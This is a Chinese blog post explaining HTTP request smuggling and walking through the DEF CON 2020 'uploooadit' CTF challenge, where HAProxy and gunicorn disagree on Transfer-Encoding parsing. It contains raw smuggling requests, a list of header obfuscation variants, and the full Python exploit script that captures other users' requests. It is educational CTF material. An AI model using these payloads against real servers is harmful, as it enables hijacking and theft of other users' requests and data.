• http走私


    http走私

    在http1.1中处理post请求时,除了Content-Length请求头外,还有一个Transfer-Encoding请求头,简称为CL和TE,而TE有几种选项:
    chunked/compress/deflate/gzip/identity

    设置了 Transfer-Encoding: chunked 后,请求主体按一系列块的形式发送,并将省略 Content-Length。在每个块的开头需要用十六进制数指明当前块的长度,数值后接 (占 2 字节),然后是块的内容,再接 表示此块结束。最后用长度为 0 的块表示终止块。终止块后是一个 trailer,由 0 或多个实体头组成,可以用来存放对数据的数字签名等。

    那么如果前端和后端对CL、TE处理的优先级不同,可能将导致http走私

    以CL-TE为例,假设请求如下

    POST / HTTP/1.1
    Host: xxx
    Content-Length: 41
    Transfer-Encoding: chunked
    
    0
    
    GET /admin HTTP/1.1
    Host: 127.0.0.1
    
    

    前端使用CL将下面的数据都当作POST请求传给后端:

    0
    
    GET /admin HTTP/1.1
    Host: 127.0.0.1
    
    

    而后端认为TE优先级较高,所以遇到Transfer-Encoding: chunked自动忽略了Content-Length,并开始读取内容,直到遇到0 停止,那么后面的GET请求便会被放入缓存区

    GET /admin HTTP/1.1
    Host: 127.0.0.1
    
    

    再一次发送一个请求便会被拼接到一起,那么这个GET即被走私

    GET /admin HTTP/1.1
    Host: 127.0.0.1
    
    POST / HTTP/1.1
    

    https://xz.aliyun.com/t/7501#toc-5

    TE-CL与CL-TE类似,下面结合一道题说一下TE-TE

    dc题目

    https://uploooadit.oooverflow.io/

    app.py
    store.py

    先看app.py的路由
    在这里插入图片描述
    /files/[POST]判断Content-Type是否为text/plain,然后提取X-guid头信息,并将其存入aws

    /files/<guid>[GET]也就是将上一步存入的信息读出来

    并且guid需要符合这个正则
    在这里插入图片描述
    POST /files/
    在这里插入图片描述
    GET /files/<guid>
    在这里插入图片描述
    可以看到后端server是gunicorn20.0.0,如果直接访问不存在的guid他将返回给我们当前的前端server为haproxy1.9.10
    在这里插入图片描述
    跟进这篇文章:https://nathandavison.com/blog/haproxy-http-request-smuggling

    可以知道haproxy和gunicorn20.0.0错误结合使用会导致http走私

    跟进下图可知haproxy是优先支持TE的
    而haproxy
    那么如果我们在chunked前面加上一些字符,就可以导致haproxy不能正确识别,x0b是垂直换行符,然后将整个数据发给后端,后端如果设法去解析TE的话就可能产生TE-TE的走私
    在这里插入图片描述
    在这里插入图片描述
    这里除了x0b,以下情况也可以尝试:

    Transfer-Encoding: xchunked
    
    Transfer-Encoding : chunked
    
    Transfer-Encoding: chunked
    
    Transfer-Encoding: x
    
    Transfer-Encoding:[tab]chunked
    
    GET / HTTP/1.1
     Transfer-Encoding: chunked
    X: X[
    ]Transfer-Encoding: chunked
    
    Transfer-Encoding
     : chunked
    

    The Desync can only help us in poisoning the sockets of the backend server, But if we assume that there can be a Bot that is hitting the backend server in intervals with the flag in it’s HTTP request, then the whole scenario starts making sense.
    Desync只能帮助我们中毒后端服务器的套接字,但是,如果我们假设可能有一个Bot在HTTP请求中带有标记的间隔内命中后端服务器,那么整个情况就变得有意义了。

    那么如果我们构造一个以下类似请求:

    POST /files/ HTTP/1.1
    Host: uploooadit.oooverflow.io
    Content-Length: 175
    Content-type: text/plain
    Connection: keep-alive
    X-guid: 00000000-0000-0666-1234-0000ffa20000
    Transfer-Encoding:[x0b]chunked #这里x0b尚未解析
    
    0
    
    POST /files/ HTTP/1.1
    Host: uploooadit.oooverflow.io
    Connection: close
    x-guid: 00000000-0000-0666-1234-0000ffa20000
    Content-Type: text/plain
    Content-Length: 387
    
    A
    

    如果此时有一个bot向服务器提交flag信息,那么就会被拼接到我们的第二个请求中,然后一并写入guid

    然后我测的时候却总不能得到flag,反而偶然抓到了别人的请求?
    在这里插入图片描述
    感觉可能是x0b编码问题,所以还是用python发请求吧,附上官方exp:

    #!/usr/bin/env python3
    import socket
    import ssl
    import sys
    import uuid
    import requests
    
    CLTE_TEMPLATE = """GET / HTTP/1.1
    Host: {hostname}
    User-Agent: attacker
    Content-Length: {length}
    Transfer-Encoding:x0bchunked
    0
    """
    
    GUID = str(uuid.uuid4())
    
    def request(content, hostname, port):
        print(content)
        print()
    
        def issue_request(server):
            assert server.send(content) == len(content)
            data = server.recv(1024)
            while len(data) > 0:
                print(data.decode("utf-8"))
                data = server.recv(1024)
    
        with socket.create_connection((hostname, port)) as raw_socket:
            if port == 443:
                context = ssl.create_default_context()
                with context.wrap_socket(raw_socket, server_hostname=hostname) as server:
                    issue_request(server)
            else:
                issue_request(raw_socket)
            try:
                raw_socket.shutdown(socket.SHUT_RDWR)
            except:
                pass
    
    def clte(payload, hostname):
        offset = 5 + payload.count("
    ")
        return (
            (CLTE_TEMPLATE.format(hostname=hostname, length=len(payload) + offset) + payload)
            .replace("
    ", "
    ")
            .encode("utf-8")
        )
    
    
    def main():
        if len(sys.argv) == 2 and sys.argv[1] == "--local":
            hostname = "localhost"
            port = 8080
            url = f"http://localhost:8080/files/{GUID}"
        else:
            hostname = "uploooadit.oooverflow.io"
            port = 443
            url = f"https://uploooadit.oooverflow.io/files/{GUID}"
    
        payload = f"""POST /files/ HTTP/1.1
    Connection: close
    Content-Length: 385
    Content-Type: text/plain
    User-Agent: hacked
    X-guid: {GUID}
    """
    
        request(clte(payload, hostname), hostname, port)
        response = requests.get(url)
        print(response.content.decode("utf-8"))
    
    if __name__ == "__main__":
        sys.exit(main())
    

    在这里插入图片描述
    把请求拿下来看看:

    b'GET / HTTP/1.1
    Host: uploooadit.oooverflow.io
    User-Agent: attacker
    Content-Length: 162
    Transfer-Encoding:x0bchunked
    
    0
    
    POST /files/ HTTP/1.1
    Connection: close
    Content-Length: 385
    Content-Type: text/plain
    User-Agent: hacked
    X-guid: a5306687-12f7-4f05-9b72-6461dfd14a95
    
    '
    

    在这里插入图片描述
    这里的x0b就被正常解析成垂直换行了,达到前后不同步
    在这里插入图片描述

    reference:
    https://blog.shoebpatel.com/2020/05/18/DefCon-CTF-2020-HTTP-Desync-between-HAProxy-Gunicorn/
    https://github.com/o-o-overflow/dc2020q-uploooadit/blob/master/scripts/attack.py#L4
    https://ctftime.org/writeup/20655

  • 相关阅读:
    Elasticsearch 分词
    Elasticsearch:文档乐观锁控制 if_seq_no与if_primary_term
    调用javaAPI访问hive
    sqoop笔记
    hive学习
    添加用户到sudo组
    HTTP协议用的TCP但是只建立单向连接
    Hadoop基本操作
    Hadoop原理介绍
    sed用法
  • 原文地址:https://www.cnblogs.com/W4nder/p/12918812.html
Copyright © 2020-2023  润新知